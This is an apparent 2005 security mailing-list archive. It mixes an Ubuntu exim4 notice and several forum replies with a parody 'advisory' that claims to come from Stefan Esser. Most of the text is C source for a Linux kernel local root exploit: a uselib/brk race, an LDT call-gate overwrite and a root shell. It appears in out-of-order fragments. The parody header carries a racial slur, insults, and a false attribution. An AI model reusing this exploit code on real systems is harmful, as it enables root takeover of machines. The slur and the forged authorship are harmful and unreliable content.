	old_esp &= ~(PAGE_SIZE-1);
	old_esp -= PAGE_SIZE;
	task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
	r = sys_munmap(old_esp, task_size-old_esp);
	if(r) fatal("unmap stack", 0);//	setup rt env
	uid = getuid();
	lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
	map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
	printf("\n[+] moved stack %x, task_size=%x, map_base=%x",
		old_esp, task_size, map_base); fflush(stdout);	make_lib();
	exploitme();
}
//	move stack down #1
void prepare()
{
unsigned p=0;	environ = myenv;	p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
		       MAP_PRIVATE|MAP_ANONYMOUS, 0, 0	);
	if(-1==p) fatal("mmap2 stack", 0);
	p += STACK_SIZE - 64;
	__asm__("movl	%%esp, %0	\n"
		"movl 	%1, %%esp	\n"
		: : "m"(old_esp), "m"(p)
	);
	prepare_finish();
}
void static chldcnt(int v)
{
	ccnt++;
}
//	alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;
	
	__asm__("movl	%%esp, %0" : : "m"(old_esp) );	old_esp = (old_esp - PGD_SIZE) & ~(PGD_SIZE-1);
	for(;;) {
		if(left<=0)
			left = get_slab_objs("vm_area_struct");
		if(left <= SLAB_THRSH)
			break;
		left--;		map_flags ^= PROT_READ;
		old_esp -= PAGE_SIZE;
		r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
			MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
		if(MAP_FAILED == r)
			break;		c++;
		if(c>SLAB_PER_CHLD)
			break;
		if( (c%1024)==0 ) {
			printf("\rchild %d %d", val, c);
			fflush(stdout);
		}
	}	kill(getppid(), SIGUSR1);
	for(;;) pause();
}
void wipe_slab()
{
	signal(SIGUSR1, chldcnt);
	for(;;) {
		ccnt=0;
		val++;
		cpid = fork();
		if(!cpid) {
			printf("\n");
			do_wipe();
		}
		pause();
		if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
			break;
		sys_sched_yield();
	}
	printf("\n");
	signal(SIGUSR1, SIG_DFL);
}
void usage(char *n)
{
	printf("\nUsage: %s\t-s forced stop\n", n);
	printf("\t\t-n SMP iterations\n");
	printf("\t\t-b empty SLAB mode\n");
	printf("\n");
	_exit(1);
}
//	give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;	while(ac) {
		r = getopt(ac, av, "bsn:");
		if(r<0) break;		switch(r) {
		case 's' :
			fstop = 1;
			break;		case 'n' :
			smp = atoi(optarg);
			if(smp<0) fatal("bad value", 0);
			break;		case 'b' :
			brute = 1;
			break;		default:
			usage(av[0]);
			break;
		}
	}	uid = getuid();
	setpgrp();
	if(brute)
		wipe_slab();
	prepare();return 0;
}


 http://www.sharpmail.co.uk - "Live in your world, email in ours" Send 'fake' email for free!
 Remove this footer by upgrading.
-------------- next part --------------
_______________________________________________
Dailydave mailing list
Dailydave at lists.immunitysec.com
https://lists.immunitysec.com/mailman/listinfo/dailydave

From martin.pitt at canonical.com  Fri Jan  7 12:55:49 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Fri, 7 Jan 2005 13:55:49 +0100
Subject: [Full-Disclosure] [USN-56-1] exim4 vulnerabilities
Message-ID: <20050107125549.GA2757@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-56-1		   January 07, 2005
exim4 vulnerabilities
CAN-2005-0021, CAN-2005-0022
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

exim4-daemon-heavy
exim4-daemon-light

The problem can be corrected by upgrading the affected package to
version 4.34-5ubuntu1.1. In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

A flaw has been found in the host_aton() function, which can overflow
a buffer if it is presented with an illegal IPv6 address that has more
than 8 components. When supplying certain command line parameters, the
input was not checked, so that a local attacker could possibly exploit
the buffer overflow to run arbitrary code with the privileges of the
Exim mail server. (CAN-2005-0021)

Additionally, the BASE64 decoder in the SPA authentication handler did
not check the size of its output buffer. By sending an invalid BASE64
authentication string, a remote attacker could overflow the buffer,
which could possibly be exploited to run arbitrary code with the
privileges of the Exim mail server. (CAN-2005-0022)

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4_4.34-5ubuntu1.1.diff.gz
      Size/MD5:   463699 cdb8d46e351c34fc1f89536fdae343da
    http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4_4.34-5ubuntu1.1.dsc
      Size/MD5:     1080 864fe588fae6035a5e258f5c04cf7dab
    http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4_4.34.orig.tar.gz
      Size/MD5:  1717473 acdf7117f18b71702d4da284b1263275

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-config_4.34-5ubuntu1.1_all.deb
      Size/MD5:   171766 9c845bd86beaee3d52c42c813b1ad032
    http://security.ubuntu.com/ubuntu/pool/universe/e/exim4/exim4_4.34-5ubuntu1.1_all.deb
      Size/MD5:     1200 5cd02a62d88ba49c5df8008938ef4f65

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-base_4.34-5ubuntu1.1_amd64.deb
      Size/MD5:   787866 e748245e594745259b3708545aa6c4b1
    http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-heavy_4.34-5ubuntu1.1_amd64.deb
      Size/MD5:   431982 a3027eeb99010ec3fbbd9ed8d7602c6b
    http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-light_4.34-5ubuntu1.1_amd64.deb
      Size/MD5:   360702 407afc6744039f296993d4a0b0d07203
    http://security.ubuntu.com/ubuntu/pool/universe/e/exim4/eximon4_4.34-5ubuntu1.1_amd64.deb
      Size/MD5:    73474 22e6e191c1a624555ddcb0dbef570398

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-base_4.34-5ubuntu1.1_i386.deb
      Size/MD5:   784452 20baa66e23f89210828da736e978dcf2
    http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-heavy_4.34-5ubuntu1.1_i386.deb
      Size/MD5:   406080 0fca8d0a724c1028847e4770640abd00
    http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-light_4.34-5ubuntu1.1_i386.deb
      Size/MD5:   336978 b479636f03f2f370443109e7d69a8a4b
    http://security.ubuntu.com/ubuntu/pool/universe/e/exim4/eximon4_4.34-5ubuntu1.1_i386.deb
      Size/MD5:    69218 e230f352300632a19d0f36ef8c4b6ca7

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-base_4.34-5ubuntu1.1_powerpc.deb
      Size/MD5:   792338 4f59dfd48441b4ba58cf7379278b5414
    http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-heavy_4.34-5ubuntu1.1_powerpc.deb
      Size/MD5:   437952 7c0e3eb42f5aaf21c56571e4ce76e863
    http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-light_4.34-5ubuntu1.1_powerpc.deb
      Size/MD5:   364814 d89db8c70e78070c8cad5e64e99702ab
    http://security.ubuntu.com/ubuntu/pool/universe/e/exim4/eximon4_4.34-5ubuntu1.1_powerpc.deb
      Size/MD5:    74848 6e9f16cbaf431df8412748c98ba2561b
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/8ea1b25d/attachment.bin 

From zx at castlecops.com  Fri Jan  7 13:16:38 2005
From: zx at castlecops.com (Paul Laudanski)
Date: Fri, 7 Jan 2005 08:16:38 -0500 (EST)
Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions
In-Reply-To: <3AF76382C31760418AF0FBFD84F714035D06D0@MI8NYCMAIL07.Mi8.com>
Message-ID: <Pine.LNX.4.44.0501070815210.26252-100000@bugsbunny.castlecops.com>

On Thu, 6 Jan 2005, James Patterson Wicks wrote:
> While this was just a quick test to satisfy my curiosity about the
> Microsoft tool, my initial feeling is that the Microsoft AntiSpyware is
> worth a test deployment in the office.  This beta expires in July.
> Hopefully the final version will be free and allow for centralized
> domain management.  It's the least that Microsoft can do.

To expand on your tests, I know this doesn't include the Microsoft 
rebranded Giant, but this is worth a look:

http://spywarewarrior.com/asw-test-guide.htm

-- 
Regards,

Paul Laudanski - Computer Cops, LLC. CEO & Founder
CastleCops(SM) - http://castlecops.com
Promoting education and health in online security and privacy.



From df at erinye.com  Fri Jan  7 06:35:03 2005
From: df at erinye.com (Daniel Fischer)
Date: Fri, 7 Jan 2005 07:35:03 +0100
Subject: [Full-Disclosure] This sums up Yahoo!s securitypolicyto a -T-
In-Reply-To: <B99D046F7F16A34EA7926E14DD82F5A114CE4D@exchny28.ny.ssmb.com>
References: <B99D046F7F16A34EA7926E14DD82F5A114CE4D@exchny28.ny.ssmb.com>
Message-ID: <200501070735.05480.df@erinye.com>

Greetings fellow mortals,

All of you need a break. Clearly, nobody's able to recognise satire nor parody 
anymore. First the rm vulnerability discussion, now this... 

On Tuesday 04 January 2005 15:48, Clairmont, Jan M wrote:
> I love it when self-proclaimed luzer's claim to own anything.   What do
> they claim to own a couple of old ladies, children's or unprotected
> files on some pc's.  Wow daddy stand back in awe, this luzer hacked a
> child's pc and gets to play on their 33.4K baud connection, so
> impressive.8->
[...]

In response to:
> n3td3v owns you all, even you self proclaimed and so-called experts
> and professionals.
>
> *makes rude hand jestures*
>
> ;-)


Have a nice day, and loosen up, pretty please,
Danny

-- 
Daniel Fischer <fsc at iitb.fraunhofer.de>
Fraunhofer Gesellschaft - Institut Informations- und Datenverarbeitung
Interaktive Analyse und Diagnose
Fraunhoferstrasse 1 - 76131 Karlsruhe
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 190 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/499198c6/attachment.bin 

From ben at adversary.org  Fri Jan  7 06:59:25 2005
From: ben at adversary.org (Ben McGinnes)
Date: Fri, 7 Jan 2005 17:59:25 +1100
Subject: [Full-Disclosure] Possible DNS compromise/poisoning?
In-Reply-To: <200501051445.j05EjDkq077399@mailserver3.hushmail.com>;
	from nicholasnam@hush.com on Wed, Jan 05, 2005 at 06:45:08AM -0800
References: <200501051445.j05EjDkq077399@mailserver3.hushmail.com>
Message-ID: <20050107175925.B25709@devious.adversary.org>

nicholasnam at hush.com(nicholasnam at hush.com)@Wed, Jan 05, 2005 at 06:45:08AM -0800:
> 
> Notice that www.microsoft.com is a cname for
> www.microsoft.com.nsatc.net.  It's not limited to www.microsoft.com
> and to the best of my knowledge the correct web content is
> displayed.

Microsoft used to have their site hosted/distributed by Akamai, but
encountered a lot of negative press when that made them appear to be
hosted on Linux (which is what Akamai uses).  It seems they've chosen
to get around this by shifting their site to a distributed hosting
company which deploys a Windows solution.


Regards,
Ben
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 174 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/72e8ede6/attachment.bin 

From noacces at lycos.nl  Fri Jan  7 09:42:04 2005
From: noacces at lycos.nl (noAcces)
Date: Fri, 07 Jan 2005 09:42:04 GMT 
Subject: [Full-Disclosure] Novell WebAcces
Message-ID: <1105090924024691@lycos-europe.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/daddedee/attachment.html 

From s.esser at ematters.de  Fri Jan  7 04:55:39 2005
From: s.esser at ematters.de (Stefan Esser)
Date: 7 Jan 2005 04:55:39 -0000
Subject: [Full-Disclosure] Advisory 1/2005 - Linux Kernel arbitrary code
	execution vulnerability.
Message-ID: <20050107045539.6583.qmail@sharpmail.co.uk>

/* A New Initiative for a New Year
 *  
 * E-matters are pleased to announce their new Microsoft-approved 
 * Responsible Disclosure initiative in which we will be working
 * very closely with eEye, iDefense and the vendersec mailing list:
 * "e-eyeDefenderSec - Because the 'e'-matters"
 * 
 ****
 *
 * Advisory 1/2005
 * Linux Kernel arbitrary code execution vulnerability.
 * 
 * Release Date:	2005/01/06
 * Author:		Stefan Esser [s.esser at ematters.de] 
 * Application:		Linux Kernel <= 2.4.28, <= 2.6.10
 * Severity:		A vulnerability exists in the ELF loader code
 * 			allowing for an attacker to execute code as root.
 * Risk:		Critical
 * Reference:		This advisory will soon be available on the e-matters
 * 			website.
 * Last Modified:  	2005/01/06
 *
 ****
 *
 * Preamble
 * Contributed by Marc 'The Narc' Maffrait / MCSE Hammer of eEye digital
 * security.
 *
 * damn isec fools falling for teh bait
 * dat ret for cliph's box hella accurate
 *
 * sniffing on your upstream scopin for gold
 * hittin pay dirt with this here kernel hole
 * 
 * responsibly disclosing crap you didn't know before
 * e-eyeDefenderSec steppin' up the 2k5 score
 * 
 * u done dropped that httpd, askin yourself 'wtf be wrong wiff me?'
 * your eyes are too full of dollar bills to see
 *
 * we're two steps ahead, and even some to the side
 * step the fuck back bitch..make, run..and hide.
 *
 ****
 *
 * Overview
 *
 * The Linux Kernel is the core of any Linux operating system. Security
 * issues within the Kernel allow for attackers to execute code within 
 * the context of the kernel. This allows for attackers to gain root
 * access to a Linux system.
 *
 ****
 *
 * Details
 *
 * Due to a missing down() call for the semaphore 'current->mm->mmap_sem'
 * it is possible to create two over-lapping VMAs and exploit behaviour in
 * mremap that allows you to map kernel memory into userland address ranges.
 * This can be exploited by an attacker in many ways.	 
 *
 ****
 *
 * Proof of Concept
 * e-matters proof of concept code is attached.
 *
 ****
 *
 * Disclosure Timeline
 *
 * 15. Dec 2004	Issue discovered by Stefan Esser.
 * 16. Dec 2004	Issue discussed with Sebastian Kraemer of SuSe
 * 18. Dec 2004 Issue disclosed to the other contributors to e-eyeDefenderSec
 * 22. Dec 2004	Proof of concept code developed with e-eyeDefenderSec
 * 24. Dec 2004	Linux kernel team informed of security problem.
 * 2. Jan 2005	Linux kernel team reply that they fixed the problem.
 * 3. Jan 2005  divineint gives up on trying to make the PoC code work
 * 		and rates the exploit as 'fake - possible trojan'.
 * 4. Jan 2005	PoC code improved by Sebastian Kraemer and Stefan Esser
 * 6. Jan 2005	Public Disclosure
 *
 ****
 *
 * Recommendation
 *
 * We strongly recommend upgrading to the latest Linux kernel.
 * There is no known work-around for this issue.
 *
 ****
 *
 * GPG-Key
 *
 * pub 1024D/3004C4BC 2004-05-17 e-matters GmbH - Securityteam
 * Key fingerprint = 3FFB 7C86 7BE8 6981 D1DA A71A 6F7D 572D 3004 C4BC 	 
 *
 *
 ****
 *
 * Closing Remarks
 *
 * "vendor-sec is a great mailing list, since it serves the security community
 * so well.  Would it not be for vendor-sec, information would be given to the
 * general public faster, and patches deployed faster.  Instead, the list puts
 * exploits and bug information directly in the hand of blackhats, and gives 
 * them a reliable attack window to pick their targets before a patch is made
 * public."
 *  - dick "up my ass" johnson, iDEFENSE Plagiarist and Anal Sex Expert,
 *    Internet Pioneer, GOBBLES Founder, apache-scalp author, Intrepid 
 *    Vulnerability Discloser, bsdauth vulnerability discoverer, princessj 
 *    anal destroyer, Mark Dowd, The Fluffy Bunny, Defacer of security.is,
 *    destroyer of divineint, scourge of scriptkids, the one the only,
 *    inventer of the internet GOLDEN GOD.
 *    
 * Special thanks to: 	Derek Calloway (aka jimjones / the_uT) of @stake.
 *			Mayhem (thanks for the shellcode help you grumpy frog :))
 *			cliph (seriously bro, Firefox has updates for a reason)
 *
 * ... and that KF nigger.
 *
 ****
 * 
 * Testbeds
 *
 * clarity.local - <thief> werd up
 * cvs.kernel.org - I bet you don't find the backdoor *this* time ;)
 * 
 ****
 *
 * Copyright 2004, 2005 Stefan Esser and e-matters.de - All rights reserved.
 *
 */#define _GNU_SOURCE#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>#include <linux/elf.h>
#include <linux/linkage.h>#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>#define str(s) #s
#define xstr(s) str(s)#define MREMAP_MAYMOVE  1
//	temp lib location
#define LIBNAME 	"/dev/shm/_elf_lib"//	shell name
#define	SHELL		"/bin/bash"//	time delta to detect race
#define RACEDELTA	5000//	if you have more deadbebes in memory, change this
#define MAGIC		0xdeadbabe
//	do not touch
#define	SLAB_THRSH	128
#define	SLAB_PER_CHLD	(INT_MAX - 1)
#define LIB_SIZE	( PAGE_SIZE * 4 )
#define STACK_SIZE	( PAGE_SIZE * 4 )#define LDT_PAGES	( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )#define ENTRY_GATE	( LDT_ENTRIES-1 )
#define GATESEL		( (ENTRY_GATE<<3)|0x07 )#define kB		* 1024
#define MB		* 1024 kB
#define GB		* 1024 MB#define TMPLEN		256
#define PGD_SIZE	( PAGE_SIZE*1024 )
extern char **environ;static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];
static volatile int
	val = 0,
	go = 0,
	finish = 0,
	scnt = 0,
	old_esp = 0,
	delta = 0,
	map_flags = PROT_WRITE|PROT_READ;
static int
	fstop=0,
	brute=0,
	ccnt=0,
	pidx,
	pnum=0,
	smp=4,
	cpid,
	uid,
	task_size,
	old_esp,
	lib_addr,
	map_count=0,
	map_base,
	map_addr,
	addr_min,
	addr_max,
	vma_start,
	vma_end,
	max_page;
static struct timeval tm1, tm2;static char *myenv[] = {"TERM=vt100",
			"HISTFILE=/dev/null",
			NULL};
static char *pagemap;#define __NR_sys_gettimeofday	__NR_gettimeofday
#define __NR_sys_sched_yield	__NR_sched_yield
#define __NR_sys_madvise	__NR_madvise
#define __NR_sys_uselib		__NR_uselib
#define __NR_sys_mmap2		__NR_mmap2
#define __NR_sys_munmap		__NR_munmap
#define __NR_sys_mprotect	__NR_mprotect
#define __NR_sys_mremap		__NR_mremapinline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);inline _syscall1(int, sys_uselib, char*, l);inline _syscall0(void, sys_sched_yield);inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;	r=t2->tv_sec - t1->tv_sec;
	r*=1000000;
	r+=t2->tv_usec - t1->tv_usec;
return r;
}
void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);	if(!errno) {
		fprintf(stdout, "\n[-] FAILED: %s ", message);
	}
	else {
		fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
			(char*) (strerror(errno)) );
	}
	if(critical)
		printf("\nCRITICAL, entering endless loop");
	printf("\n");
	fflush(stdout);	unlink(LIBNAME);
	kill(cpid, SIGKILL);
	for(;;) kill(0, sig);
}
//	try to race do_brk sleeping on kmalloc, may need modification for SMP
static int raceme(void* v)
{
int r;	printf("\n[+] exploit thread running pid=%d", getpid() ); fflush(stdout);
	finish=1;	for(;;) {
		errno = 0;//	check if raced:
recheck:
		if(!go) sys_sched_yield();
		sys_gettimeofday(&tm2, NULL);
		delta = tmdiff(&tm1, &tm2);
		if(delta < RACEDELTA) goto recheck;//	check if lib VMAs exist as expected under race condition
recheck2:
		r = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
		if(r) continue;
		errno = 0;
		r = sys_madvise((void*) (lib_addr+PAGE_SIZE),
				LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
		if(!r || (r<0 && errno != ENOMEM) ) continue;//	SMP?
		if(smp-->=0) goto recheck2;//	recheck race
		if(!go) continue;
		finish++;//	we need to free one vm_area_struct for mmap to work
		r = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
		if(r) fatal("mprotect", 0);
		r = sys_mmap2(lib_addr + PAGE_SIZE*2, PAGE_SIZE, PROT_READ|PROT_WRITE,
			      MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
		if(-1 == r) fatal("mmap2 race", 0);
		printf("\n[+] race delta=%d maps=%d", delta, map_count); fflush(stdout);
		_exit(0);
	}return 0;
}
//	get uid=0 kernel code (stolen from cliph)
asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;//	find & reset uids
	while(addr[0] != uid || addr[1] != uid ||
	      addr[2] != uid || addr[3] != uid)
		addr++;	addr[0] = /*addr[1] = */addr[2] = addr[3] = 0;
	addr[4] = addr[5] = addr[6] = addr[7] = 0;//	find & correct VMA
	for(addr=(unsigned *)task_size; (unsigned)addr<addr_min; addr++) {
		if(addr[0] >= task_size && addr[1] == vma_start &&
		   addr[2] == vma_end && addr[3] >= task_size ) {
			addr[1] = task_size - PAGE_SIZE;
			addr[2] = task_size;
			break;
		}
	}
}
void kcode(void);void __kcode(void)
{
asm(
	"kcode:						\n"
	"	pusha					\n"
	"	pushl	%es				\n"
	"	pushl	%ds				\n"
	"	movl	$("xstr(__KERNEL_DS)") ,%edx	\n"
	"	movl	%edx,%es			\n"
	"	movl	%edx,%ds			\n"
	"	movl	$0xffffe000,%eax		\n"
	"	andl	%esp,%eax			\n"
	"	pushl	%eax				\n"
	"	call	kernel_code			\n"
	"	addl	$4, %esp			\n"
	"	popl	%ds				\n"
	"	popl	%es				\n"
	"	popa					\n"
	"	lret					\n"
);
}
void static sigfailed(int v)
{
	ccnt++;
	fatal("lcall", 1);
}
//	modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;	printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC);
	if(r) fatal("mprotect 1", 1);//	check if really LDT
	v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
	signal(SIGSEGV, sigfailed);
	r = *v;
	if(r != MAGIC) {
		printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
		fatal("find LDT", 1);
	}//	yeah!
	*v = ((unsigned)__KERNEL_CS << 16) | ((unsigned)kcode & 0xffffU);
	*(v+1) = ((unsigned)kcode & ~0xffffU) | 0xec00U;
	printf("\n[+] SUCCESS (LDT found v=0x%.8x)", *v); fflush(stdout);//	reprotect to get one VMA
	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_EXEC);
	if(r) fatal("mprotect 2", 1);//	CPL0 transition
	asm("lcall $" xstr(GATESEL) ",$0x0");
	if( getuid()==0 ) {
		printf("\n[+] exploited, uid=0\n" ); fflush(stdout);
	} else {
		printf("\n[-] uid change failed" ); fflush(stdout);
		sigfailed(0);
	}
	signal(SIGTERM, SIG_IGN);
	kill(0, SIGTERM);
	execl(SHELL, "sh", NULL);
	fatal("execl", 0);
}
void static scan_mm_finish();
void static scan_mm_start();
//	kernel page table scan code
void static scan_mm()
{
	map_addr -= PAGE_SIZE;
	if(map_addr <= addr_min)
		scan_mm_start();	scnt=0;
	val = *(int*)map_addr;
	scan_mm_finish();
}
void static scan_mm_finish()
{
retry:
	__asm__("movl	%0, %%esp" : :"m"(old_esp) );	if(scnt) {
		pagemap[pidx] ^= 1;
	}
	else {
		sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
	}
	pidx--;
	scan_mm();
	goto retry;
}
//	make kernel page maps before and after allocating LDT
void static scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;
static struct sysinfo si;	pnum++;
	if(pnum==1) {
		sysinfo(&si);
		addr_min = task_size + si.totalram;
		addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
		addr_max = addr_min + si.totalram;
		if(addr_max >= 0xffffe000 || addr_max < addr_min)
			addr_max = 0xffffd000;		printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
		max_page = (addr_max - addr_min) / PAGE_SIZE;		pagemap = malloc( max_page + 32 );
		if(!pagemap) fatal("malloc pagemap", 1);
		memset(pagemap, 0, max_page + 32);		pidx = max_page-1;
	}
	else if(pnum==2) {
		memset(&l, 0, sizeof(l));
		l.entry_number = LDT_ENTRIES-1;
		l.seg_32bit = 1;
		l.base_addr = MAGIC >> 16;
		l.limit = MAGIC & 0xffff;
		l.limit_in_pages = 1;
		if( modify_ldt(1, &l, sizeof(l)) != 0 )
			fatal("modify_ldt", 1);		pidx = max_page-1;
	}
	else if(pnum==3) {
		npg=0;
		for(pidx=0; pidx<=max_page-1; pidx++) {
			if(pagemap[pidx]) {
				npg++;
				fflush(stdout);
			}
			else if(npg == LDT_PAGES) {
				npg=0;
				try_to_exploit(addr_min + (pidx-1)*PAGE_SIZE);
			} else {
				npg=0;
			}
		}
		fatal("find LDT", 1);
	}//	save context & scan page table
	__asm__("movl	%%esp, %0" : :"m"(old_esp) );
	map_addr = addr_max;
	scan_mm();
}
//	return number of available SLAB objects in cache
static int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;	fp = fopen("/proc/slabinfo", "r");
	if(!fp)
		fatal("get_slab_objs: fopen", 0);
	fgets(name, sizeof(name) - 1, fp);
	do {
		c = u = a = -1;
		if (!fgets(line, sizeof(line) - 1, fp))
			break;
		c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
			   &d, &d, &d, &d);
	} while (strcmp(name, sn));
	close(fileno(fp));
	fclose(fp);
	return c == 7 ? a - u : -1;
}
//	leave one object in the SLAB
inline void prepare_slab()
{
int *r;	map_addr -= PAGE_SIZE;
	map_count++;
	map_flags ^= PROT_READ;	r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
		MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
	if(MAP_FAILED == r) {
		fatal("try again", 0);
	}
	*r = map_addr;
}
//	sig handlers
void static segvcnt(int v)
{
	scnt++;
	scan_mm_finish();
}
void static reaper(int v)
{
	ccnt++;
	waitpid(0, &v, WNOHANG|WUNTRACED);
}
//	use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz;	printf("\n    cat /proc/%d/maps", getpid() ); fflush(stdout);
	signal(SIGCHLD, reaper);
	signal(SIGSEGV, segvcnt);
	signal(SIGBUS, segvcnt);//	helper clone
	finish=0; ccnt=0;
	sz = sizeof(cstack) / sizeof(cstack[0]);
	cpid = clone(&raceme, (void*) &cstack[sz-16],
			CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
	if(-1==cpid) fatal("clone", 0);//	synchronize threads
	while(!finish) sys_sched_yield();
	finish=0;//	try to hit the kmalloc race
	for(;;) {		r = get_slab_objs("vm_area_struct");
		while(r != 1) {
			prepare_slab();
			r--;
		}		sys_gettimeofday(&tm1, NULL);
		go = 1;
		r=sys_uselib(LIBNAME);
		go = 0;
		if(r) fatal("uselib", 0);
		if(finish) break;//	wipe lib VMAs and try again
		r = sys_munmap(lib_addr, LIB_SIZE);
		if(-1==r || ccnt) goto failed;
	}//	seems we raced
	r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
	if(r) fatal("munmap 1", 0);
	r = sys_munmap(lib_addr, PAGE_SIZE);
	if(r) fatal("munmap 2", 0);//	write protect brk VMA to fool vm_enough_memory()
	r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
			 PROT_READ|PROT_EXEC);
	if(-1==r) fatal("mprotect brk", 0);//	this will finally make the big VMA...
	sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
	r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
			LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
	if(r) fatal("madvise", 0);
	r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
			PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
	if(-1==r) {
		if(0==sz) fatal("mremap: expand VMA", 0);
		else { sz -= PAGE_SIZE; goto expand; }
	}
	vma_start = lib_addr + PAGE_SIZE;
	vma_end = vma_start + sz + 2*PAGE_SIZE;//	try to figure kernel layout
	printf("\n    expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
	fflush(stdout);
	scan_mm_start();failed:
	fatal("try again", 0);}
//	make fake ELF library
static void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;//	make our elf library
	umask(022);
	unlink(LIBNAME);
	fd=open(LIBNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
	if(fd<0) fatal("open lib", 0);
	memset(&eh, 0, sizeof(eh) );//	elf exec header
	memcpy(eh.e_ident, ELFMAG, SELFMAG);
	eh.e_type = ET_EXEC;
	eh.e_machine = EM_386;
	eh.e_phentsize = sizeof(struct elf_phdr);
	eh.e_phnum = 1;
	eh.e_phoff = sizeof(eh);
	write(fd, &eh, sizeof(eh) );//	section header:
	memset(&eph, 0, sizeof(eph) );
	eph.p_type = PT_LOAD;
	eph.p_offset = 4096;
	eph.p_filesz = 4096;
	eph.p_vaddr = lib_addr;
